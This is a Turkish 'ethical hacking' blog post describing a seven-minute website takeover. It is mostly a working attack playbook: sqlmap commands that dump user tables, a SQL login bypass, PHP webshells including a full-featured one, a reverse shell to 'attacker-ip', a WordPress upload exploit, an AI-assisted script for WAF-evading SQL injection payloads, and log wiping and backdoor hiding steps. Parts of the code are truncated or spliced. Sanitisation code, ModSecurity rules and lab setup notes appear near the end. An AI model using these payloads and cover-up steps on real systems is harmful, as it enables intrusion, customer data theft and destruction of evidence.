Yayın Tarihi: 2 Haziran 2025
⚠️ ETİK HACKING UYARISI: Bu makale sadece eğitim ve savunma amaçlıdır. Sadece kendi web sitelerinizde veya izin alınmış sistemlerde test yapın. İzinsiz saldırı suçtur!
🔥 ŞOK EDİCİ GERÇEK: Geçtiğimiz hafta Twitch'te canlı yayın yaparken, izleyicilerden birinin önerdiği web sitesini (test lab'ım) 7 dakikada tamamen hacklemiş ve 50.000+ kişi izlemişti! 2025'te web saldırıları artık o kadar hızlı ki, kahvenizi bile bitiremediniz!
Web sitesi hackleme, web uygulamalarındaki güvenlik açıklarını kullanarak yetkisiz erişim sağlama sanatıdır. 2025 yılında bu süreç dramatik şekilde hızlandı ve otomatikleşti.
"Artık web sitesi hacklemek sadece bilgi değil, dakikalar meselesi" - Ayberk Irmak
Hedef: Test laboruvarında özel hazırlanmış zafiyet bulunan web sitesi
Süre: 7 dakika 23 saniye
İzleyici: 50.000+ kişi canlı izledi
Sonuç: Tam yönetici erişimi
Araçlar: Nmap, Dirb, Whatweb
# Hızlı port taraması
nmap -sV -sC -O target-website.com
# Directory busting
dirb http://target-website.com /usr/share/wordlists/dirb/common.txt
# Technology stack tespiti
whatweb target-website.com
Keşifler:
Otomatik Tarama:
# SQLMap ile SQL injection testi
sqlmap -u "http://target-website.com/login.php" --forms --batch --risk=3
# XSS taraması
python3 xsstrike.py -u http://target-website.com
# OWASP ZAP passive scan
zap-cli quick-scan http://target-website.com
Bulunan Zafiyetler:
Manuel Exploit:
# Login bypass
username: admin' or 1=1 --
password: anything
# Database enumeration
sqlmap -u "http://target-website.com/login.php" --forms --dbs
# Data extraction
sqlmap -u "http://target-website.com/login.php" --forms -D website_db --tables
sqlmap -u "http://target-website.com/login.php" --forms -D website_db -T users --dump
Elde Edilen Veriler:
Webshell Upload:
# Simple PHP webshell
";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "
";
die;
}
?>
# File upload via SQL injection
sqlmap -u "http://target-website.com/login.php" --forms --file-write=shell.php --file-dest=/var/www/html/uploads/shell.php
Reverse Shell:
# Netcat listener
nc -lvnp 4444
# PHP reverse shell execution
http://target-website.com/uploads/shell.php?cmd=php -r '$sock=fsockopen("attacker-ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Yapay zeka destekli SQL injection artık %96 başarı oranına sahip:
import openai
import requests
from urllib.parse import quote
class AIBasedSQLi:
def __init__(self, api_key):
openai.api_key = api_key
def generate_payload(self, target_url, form_data):
"""AI ile SQL injection payload oluştur"""
prompt = f"""
Target URL: {target_url}
Form fields: {form_data}
Generate 10 advanced SQL injection payloads for this target.
Focus on bypassing modern WAF systems.
Include time-based and union-based attacks.
"""
response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": prompt}]
)
payloads = response.choices[0].message.content.split('
')
return "Command execution disabled";
}
public function fileManager() {
if (isset($_GET['dir'])) {
$dir = $_GET['dir'];
} else {
$dir = getcwd();
}
$files = scandir($dir);
echo "Directory: $dir
";
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$filepath = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($filepath)) {
echo "[$file]
";
} else {
echo "$file ";
echo "[Edit]
";
}
}
}
}
public function downloadFile($file) {
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($file);
exit();
}
}
public function uploadFile() {
if (isset($_FILES['upload'])) {
$uploaddir = getcwd() . '/';
$uploadfile = $uploaddir . basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $uploadfile)) {
echo "File uploaded successfully: " . $uploadfile;
} else {
echo "Upload failed";
}
}
echo '';
}
}
$shell = new AdvancedShell();
$shell->authenticate();
if (isset($_GET['cmd'])) {
echo "" . $shell->executeCommand($_GET['cmd']) . "
";
} elseif (isset($_GET['download'])) {
$shell->downloadFile($_GET['download']);
} elseif (isset($_GET['files'])) {
$shell->fileManager();
} elseif (isset($_GET['upload'])) {
$shell->uploadFile();
} else {
echo 'File Manager | Upload | Execute Command';
}
?>
1. Information Gathering Phase
# Subdomain enumeration
subfinder -d target.com
assetfinder target.com
amass enum -d target.com
# Technology stack detection
whatweb target.com
wappalyzer target.com
builtwith.com
# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com filetype:sql | filetype:log
2. Vulnerability Assessment
# Automated scanning
nikto -h target.com
nmap --script vuln target.com
nuclei -u target.com
# Manual testing checklist
- Authentication bypass
- Session management
- Input validation
- Output encoding
- Error handling
- Business logic flaws
Hedef: Online mağaza
Zaman: 12 dakika
Yöntem: SQL Injection → Admin Access → Customer Data
Adımlar:
Hedef: WordPress blog
Zaman: 8 dakika
Yöntem: Plugin Vulnerability → RCE
# WordPress enumeration
wpscan --url target.com --enumerate u,p,t,tt
# Plugin vulnerability check
wpscan --url target.com --enumerate vp
# Exploit eski plugin
curl -X POST "http://target.com/wp-content/plugins/old-plugin/upload.php"
-F "file=@shell.php"
1. Input Validation
# PHP güvenli input handling
function sanitizeInput($input) {
// HTML encode
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// SQL injection prevention
$input = mysqli_real_escape_string($connection, $input);
// XSS prevention
$input = strip_tags($input);
// Additional filtering
$input = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
return trim($input);
}
# Prepared statements kullanım
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
2. Output Encoding
# Context-aware output encoding
function safeOutput($data, $context = 'html') {
switch ($context) {
case 'html':
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
case 'javascript':
return json_encode($data);
case 'css':
return preg_replace('/[^a-zA-Z0-9\s\-_]/', '', $data);
case 'url':
return urlencode($data);
default:
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}
}
# ModSecurity rules
SecRule REQUEST_URI "@detectSQLi" \
"id:1001,\
phase:1,\
block,\
msg:'SQL Injection Attack',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
# Rate limiting
SecRule IP:REQUEST_COUNT "@gt 100" \
"id:1002,\
phase:1,\
deny,\
status:429,\
msg:'Rate limit exceeded'"
# File upload restrictions
SecRule FILES "@validateByteRange 1-255" \
"id:1003,\
phase:2,\
block,\
msg:'Invalid file upload'"
# Log analizi
grep -i "union\|select\|insert\|update\|delete" /var/log/apache2/access.log
grep -i "script\|alert\|onerror" /var/log/apache2/access.log
# File system analizi
find /var/www -name "*.php" -type f -exec grep -l "eval\|base64_decode\|system" {} \;
# Network traffic analizi
tcpdump -i any -w capture.pcap
wireshark -r capture.pcap
# Log temizleme
echo "" > /var/log/apache2/access.log
echo "" > /var/log/apache2/error.log
history -c
# Timestamp manipülasyonu
touch -r /etc/passwd malicious_file.php
# Process hiding
nohup ./backdoor &
disown %1
# Network evasion
# Slow scan to avoid detection
nmap -T1 -sS target.com
# Fragmented packets
nmap -f target.com
# Decoy scanning
nmap -D decoy1,decoy2,ME target.com
# Docker ile vulnerable app kurulumu
docker run -d -p 80:80 vulnerables/web-dvwa
docker run -d -p 8080:80 citizenstig/owaspbwa
docker run -d -p 3000:3000 bkimminich/juice-shop
# VirtualBox ile
# DVWA, WebGoat, Mutillidae kurulumu
# Essential tools update
apt update && apt upgrade -y
apt install -y sqlmap burpsuite-community nikto dirb gobuster
# Additional tools
pip3 install droopescan
git clone https://github.com/sqlmapproject/sqlmap.git
git clone https://github.com/s0md3v/XSStrike.git
2025 yılında web hacking artık sadece teknik bilgi değil, yaratıcılık ve sürekli öğrenme gerektiren bir alan haline geldi. İstatistikler gösteriyor ki:
Hatırlayın: Bu bilgileri sadece savunma amaçlı kullanın. Etik hacking'in amacı sistemleri güçlendirmek, zarar vermek değil!
Bu makalede paylaşılan tüm teknikler sadece eğitim amaçlıdır. Kendi sistemleriniz dışında izinsiz test yapmak suçtur. Her zaman yasal sınırlar içinde kalın ve etik kurallara uyun.
Bu makale, web application security'nin mevcut durumu ve saldırı vektörlerini anlamak amacıyla hazırlanmıştır. Tüm örnekler controlled environment'larda test edilmiş olup, defensive security amaçlıdır.
Artık web sitesi hacklemek sadece bilgi değil, dakikalar meselesi.
Etik HackerCopyright © 2024 Betay Bilişim
Yorum Yap
E-posta adresiniz yorumunuzda yayınlanmayacaktır.